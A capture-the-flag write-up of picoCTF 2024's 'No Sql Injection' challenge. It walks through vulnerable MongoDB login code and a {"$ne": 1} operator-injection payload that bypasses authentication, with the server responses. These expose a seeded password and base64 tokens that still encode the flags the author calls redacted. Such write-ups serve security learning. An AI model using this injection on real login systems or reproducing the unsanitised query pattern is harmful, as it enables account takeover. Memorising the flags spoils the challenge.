200 points
Category: Web Exploitation
Tags: #webexploitation #typescript #api
Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?
(refer to the notes section below, this challenge has changed between completion during the picoCTF 2024 event and now (November 2024) during completing this write-up)
Opening the provided link we are presented with a typical login form. Attempting to login with a dummy email and password with the Network view of the Web Developer Tools in Firefox open, we see a POST
to http://atlas.picoctf.net:60141/api/login/
with the payload of our request containing our dummy data {"email":"abcd","password":"1234"}
.
The response to this request was simply the "Invalid email or password"
message within the following response:
HTTP/1.1 308 Permanent Redirect
location: /api/login
refresh: 0;url=/api/login
date: Mon, 18 Mar 2024 09:12:41 GMT
connection: close
transfer-encoding: chunked
Having downloaded and decompressed the provided app.tar.gz
containing the server source code, which appears to be in the TypeScript (.ts
) programming languaged, an extension of JavaScript to add types, we can search for the received response:
$ grep -R "Invalid email or password" *
app/page.tsx: setMessage("Invalid email or password");
app/page.tsx: setMessage("Invalid email or password");
app/api/login/route.ts: return new Response("Invalid email or password", { status: 401 });
Looking further at the app/api/login/route.ts
source file:
$ cat app/api/login/route.ts
import User from "@/models/user";
import { connectToDB } from "@/utils/database";
import { seedUsers } from "@/utils/seed";
export const POST = async (req: any) => {
const { email, password } = await req.json();
try {
await connectToDB();
await seedUsers();
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
});
if (users.length < 1)
return new Response("Invalid email or password", { status: 401 });
else {
return new Response(JSON.stringify(users), { status: 200 });
}
} catch (error) {
return new Response("Internal Server Error", { status: 500 });
}
};
Inspecting app/utils/database.ts
we see references to mongoose
the database type, providing object modelling library for MongoDB.
After connecting to the database the seedUsers()
function is called from app/utils/seed.ts
, the contents of which is shown below:
$ cat app/utils/seed.ts
import User from "../models/user";
export const seedUsers = async (): Promise<void> => {
try {
const users = await User.find({email: "[email protected]"});
if (users.length > 0) {
return;
}
const newUser = new User({
firstName: "Josh",
lastName: "Iriya",
email: "[email protected]",
password: process.env.NEXT_PUBLIC_PASSWORD as string
});
await newUser.save();
} catch (error) {
throw new Error("Some thing went wrong")
}
};
We can see an attempt to find a user with email address [email protected]
, if the user is not found, it's created to seed the database.
So we've discovered a valid email address to use in our login attempt, now for the password.
Going back to the code in app/api/login/route.ts
(refer above) that processes the login authentication request, we see the following logic when attempting to find the specified user and password within the database:
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
});
The password
string provided as a paramter to the login POST
request, does not appear to be sanitised in any way, the only check performed is to determine if the string should be treated as JSON
or directly as a normal string.
Using a typical MongoDB injection attack we can utilise this lack of sanitisation and JSON
parsing to get the database query to match. I used {"$ne": 1}
, such that the query will match if the password is not equal to 1. But may variations of this could be used.
Reloading the provided challenge link and using the following form values;
email = [email protected]
password = {"$ne": 1}
We succesfully login and are redirected to the brings us to the Admin page; http://atlas.picoctf.net:60141/admin
admin page, but where is our flag?
Repeating the login process again this time with the Network view of Firefox's Web Developer Tools active, we can inspect the response received from our login POST
request contains the following payload:
[
{
"_id": "65f08d9329a7cb4b93eba6e0",
"email": "[email protected]",
"firstName": "Josh",
"lastName": "Iriya",
"password": "Je80T8M7sUA",
"token": "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzVlMjQ1ZDZlfQ==",
"__v": 0
}
]
The token
field looks suspiciously like a base64 encoded value.
$ echo "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzVlMjQ1ZDZlfQ==" | base64 -d
picoCTF{...........redacted.............}
Where the actual flag value has been redacted for the purposes of this write up.
I didn't get around to writing up my picoCTF-2024 challenge write-ups from my notes until much later in the year. Running the No Sql Injection again to expand on my notes I found the challenge had changed considerably. The server source differs, as does the user email.
When attempting to login initially with dummy details the original "Invalid email or password"
message has been replaced with an "Invalid credentials"
message box.
Searching for this string locates it within app/index.html
as a response to processing the /login
request.
The server is now implemented via the app/server.js
file:
$ cat server.js
const express = require("express");
const bodyParser = require("body-parser");
const mongoose = require("mongoose");
const { MongoMemoryServer } = require("mongodb-memory-server");
const path = require("path");
const crypto = require("crypto");
const app = express();
const port = process.env.PORT | 3000;
// Middleware to parse JSON data
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
// User schema and model
const userSchema = new mongoose.Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false, default: "{{Flag}}" },
});
const User = mongoose.model("User", userSchema);
// Initialize MongoMemoryServer and connect to it
async function startServer() {
try {
const mongoServer = await MongoMemoryServer.create();
const mongoUri = mongoServer.getUri();
await mongoose.connect(mongoUri);
// Store initial user
const initialUser = new User({
firstName: "pico",
lastName: "player",
email: "[email protected]",
password: crypto.randomBytes(16).toString("hex").slice(0, 16),
});
await initialUser.save();
// Serve the HTML form
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
// Serve the admin page
app.get("/admin", (req, res) => {
res.sendFile(path.join(__dirname, "admin.html"));
});
// Handle login form submission with JSON
app.post("/login", async (req, res) => {
const { email, password } = req.body;
try {
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
});
if (user) {
res.json({
success: true,
email: user.email,
token: user.token,
firstName: user.firstName,
lastName: user.lastName,
});
} else {
res.json({ success: false });
}
} catch (err) {
res.status(500).json({ success: false, error: err.message });
}
});
app.listen(port, () => {
});
} catch (err) {
console.error(err);
}
}
startServer().catch((err) => console.error(err));
There are similarities from the original challenge, we can see a user being created in initialUser
, now with an email address of [email protected]
.
The processing of the /login
POST
request has the same handling of the user provided password string, unsanitised.
So repeating the original attack with:
email = [email protected]
password = {"$ne": 1}
The response to the /login
POST
was a Status 200 with response payload:
{
"success":true,
"email":"[email protected]",
"token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzc4NGU0MGU4fQ==",
"firstName":"pico",
"lastName":"player"
}
Again, base64 decoding the token
value:
$ echo "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzc4NGU0MGU4fQ==" | base64 -d
picoCTF{...........redacted.............}